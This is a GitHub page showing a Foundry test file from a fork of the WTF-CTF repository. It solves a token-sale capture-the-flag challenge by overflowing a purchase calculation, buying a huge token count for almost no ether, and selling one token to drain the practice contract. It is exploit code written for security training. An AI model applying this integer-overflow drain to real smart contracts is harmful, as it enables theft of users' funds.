forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
TokenSaleChallenge.t.sol
40 lines (29 loc) · 1.23 KB
/
TokenSaleChallenge.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "./TokenSaleChallenge.sol";
contract TokenSaleChallengeTest is Test {
TokenSaleChallenge public tokenSaleChallenge;
address hacker = makeAddr("hacker");
function setUp() public {
payable(hacker).transfer(1 ether);
tokenSaleChallenge = new TokenSaleChallenge{value: 1 ether}();
}
function testTokenSale() public {
emit log_named_uint("my balance", hacker.balance);
emit log_named_uint("tokenSaleChallenge's balance", address(tokenSaleChallenge).balance);
uint256 val;
unchecked {
val = (UINT256_MAX / 1 ether + 1) * 1 ether;
}
vm.startPrank(hacker);
tokenSaleChallenge.buy{value: val}(UINT256_MAX / 1 ether + 1);
emit log_named_uint("my new balance", hacker.balance);
emit log_named_uint("tokenSaleChallenge balance", address(tokenSaleChallenge).balance);
tokenSaleChallenge.sell(1);
vm.stopPrank();
emit log_named_uint("my new balance", hacker.balance);
emit log_named_uint("tokenSaleChallenge balance", address(tokenSaleChallenge).balance);
assertTrue(tokenSaleChallenge.isComplete());
}
}